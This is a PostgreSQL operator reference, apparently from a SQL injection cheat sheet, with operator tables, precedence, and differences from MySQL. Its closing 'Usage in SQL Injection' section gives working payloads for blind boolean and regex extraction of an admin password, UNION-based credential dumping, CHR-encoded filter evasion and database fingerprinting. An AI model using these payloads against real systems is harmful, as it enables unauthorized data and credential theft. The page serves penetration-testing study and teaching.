Operators
Understanding PostgreSQL operators is essential for crafting effective SQL injection payloads. This reference covers the most useful operators for SQL injection techniques.
Comparison Operators
| Operator | Description | Example |
|---|
= | Equal | SELECT * FROM users WHERE id = 1 |
<> or != | Not equal | SELECT * FROM users WHERE id <> 1 |
> | Greater than | SELECT * FROM users WHERE id > 1 |
>= | Greater than or equal | SELECT * FROM users WHERE id >= 1 |
< | Less than | SELECT * FROM users WHERE id < 10 |
<= | Less than or equal | SELECT * FROM users WHERE id <= 10 |
BETWEEN | Between range | SELECT * FROM users WHERE id BETWEEN 1 AND 10 |
IS NULL | Null check | SELECT * FROM users WHERE email IS NULL |
IS NOT NULL | Not null check | SELECT * FROM users WHERE email IS NOT NULL |
IS DISTINCT FROM | NULL-safe not equal | SELECT * FROM users WHERE name IS DISTINCT FROM 'a' |
IS NOT DISTINCT FROM | NULL-safe equal | SELECT * FROM users WHERE name IS NOT DISTINCT FROM NULL |
LIKE | Pattern matching | SELECT * FROM users WHERE name LIKE 'a%' |
ILIKE | Case-insensitive LIKE | SELECT * FROM users WHERE name ILIKE 'ADMIN' |
SIMILAR TO | SQL regex pattern | SELECT * FROM users WHERE name SIMILAR TO 'a%' |
~ | POSIX regex match | SELECT * FROM users WHERE name ~ '^a' |
~* | Case-insensitive regex | SELECT * FROM users WHERE name ~* '^A' |
!~ | Regex not match | SELECT * FROM users WHERE name !~ '^a' |
!~* | Case-insensitive not match | SELECT * FROM users WHERE name !~* '^A' |
IN | In set | SELECT * FROM users WHERE id IN (1,2,3) |
Logical Operators
| Operator | Description | Example |
|---|
AND | Logical AND | SELECT * FROM users WHERE active=true AND admin=true |
OR | Logical OR | SELECT * FROM users WHERE id=1 OR username='admin' |
NOT | Logical NOT | SELECT * FROM users WHERE NOT id=1 |
Important: PostgreSQL uses || for string/array concatenation and && for array overlap—not for logical operations (use AND/OR instead). This differs from some databases but both PostgreSQL and MySQL require explicit AND/OR keywords for logical operations.
String Operators
| Operator | Description | Example |
|---|
|| | String concatenation | SELECT 'hello' || ' ' || 'world' |
CONCAT() | Concatenate strings | SELECT CONCAT(first_name, ' ', last_name) FROM users |
CONCAT_WS() | Concatenation with separator (9.1+) | SELECT CONCAT_WS('-', 'a', 'b', 'c') (returns ‘a-b-c’) |
Mathematical Operators
| Operator | Description | Example |
|---|
+ | Addition | SELECT id+1 FROM users |
- | Subtraction | SELECT id-1 FROM users |
* | Multiplication | SELECT id*2 FROM users |
/ | Division | SELECT id/2 FROM users |
% | Modulo | SELECT id % 2 FROM users |
^ | Exponentiation | SELECT 2^3 (returns 8) |
|/ | Square root | SELECT |/25 (returns 5) |
||/ | Cube root | SELECT ||/27 (returns 3) |
@ | Absolute value | SELECT @ -5 (returns 5) |
Bitwise Operators
| Operator | Description | Example |
|---|
& | Bitwise AND | SELECT 5 & 1 (returns 1) |
| | Bitwise OR | SELECT 5 | 1 (returns 5) |
# | Bitwise XOR | SELECT 5 # 1 (returns 4) |
<< | Left shift | SELECT 1 << 2 (returns 4) |
>> | Right shift | SELECT 4 >> 2 (returns 1) |
~ | Bitwise NOT | SELECT ~1 (returns -2) |
Type Cast Operator
PostgreSQL has a unique cast operator :::
SELECT '123'::int; -- Cast string to integer
SELECT 123::text; -- Cast integer to text
SELECT '2025-01-01'::date; -- Cast string to date
SELECT 1::boolean; -- Cast to boolean (true)
Array Operators
| Operator | Description | Example |
|---|
@> | Contains | ARRAY[1,2,3] @> ARRAY[1,2] |
<@ | Is contained by | ARRAY[1,2] <@ ARRAY[1,2,3] |
&& | Overlap (arrays) | ARRAY[1,2] && ARRAY[2,3] |
|| | Array concatenation | ARRAY[1,2] || ARRAY[3,4] |
[n] | Array subscript | (ARRAY[1,2,3])[1] (returns 1) |
Note: PostgreSQL arrays are 1-based, so [1] returns the first element, not the second.
JSON/JSONB Operators
| Operator | Description | Example |
|---|
-> | Get JSON element | '{"a":1}'::json->'a' (returns 1) |
->> | Get JSON element as text | '{"a":1}'::json->>'a' (returns ‘1’) |
#> | Get by path | '{"a":{"b":1}}'::json#>'{a,b}' |
#>> | Get by path as text | '{"a":{"b":1}}'::json#>>'{a,b}' |
@> | Contains (JSONB) | '{"a":1}'::jsonb @> '{"a":1}'::jsonb |
? | Key exists | '{"a":1}'::jsonb ? 'a' |
Usage in SQL Injection
Boolean-Based Blind Injection
-- Testing if admin exists
' OR EXISTS(SELECT * FROM users WHERE username='admin') --
-- Character by character extraction
' OR ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))=97 --
Using String Concatenation
-- PostgreSQL uses || for concatenation (NOT logical OR)
' UNION SELECT 'admin'||':'||password FROM users --
-- Building strings to avoid filters
' UNION SELECT CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110) --
Regex-Based Injection
-- Using POSIX regex for blind extraction
' OR (SELECT username FROM users LIMIT 1) ~ '^a' --
-- Case insensitive regex
' OR (SELECT username FROM users LIMIT 1) ~* '^ADMIN' --
Type Cast for Database Detection
-- PostgreSQL-specific :: cast syntax
' AND 1::int=1 --
-- Will fail on MySQL/MSSQL, confirming PostgreSQL
Operator Precedence in PostgreSQL
From highest to lowest (per PostgreSQL documentation):
. (table/column name separator)
:: (typecast)
[] (array element selection)
+, - (unary plus, unary minus)
COLLATE (collation selection)
AT (AT TIME ZONE, AT LOCAL)
^ (exponentiation)
*, /, % (multiplication, division, modulo)
+, - (addition, subtraction)
- (any other operator) — includes
||, user-defined operators
BETWEEN, IN, LIKE, ILIKE, SIMILAR
<, >, =, <=, >=, <>
IS, ISNULL, NOTNULL (IS TRUE, IS FALSE, IS NULL, IS DISTINCT FROM, etc.)
NOT
AND
OR
Truth Table for Logical Operators
| Expr1 | Expr2 | AND | OR |
|---|
| TRUE | TRUE | TRUE | TRUE |
| TRUE | FALSE | FALSE | TRUE |
| FALSE | TRUE | FALSE | TRUE |
| FALSE | FALSE | FALSE | FALSE |
| NULL | TRUE | NULL | TRUE |
| TRUE | NULL | NULL | TRUE |
| FALSE | NULL | FALSE | NULL |
| NULL | FALSE | FALSE | NULL |
| NULL | NULL | NULL | NULL |
Key Differences from MySQL
|| is string concatenation, NOT logical OR
# is bitwise XOR (MySQL uses ^)
^ is exponentiation (MySQL uses POW())
~ and ~* are regex operators
:: is the cast operator (unique to PostgreSQL)
- No
<=> NULL-safe equal (use IS NOT DISTINCT FROM)
- No logical
XOR keyword (bitwise XOR is #; for logical XOR use A != B or (A OR B) AND NOT (A AND B))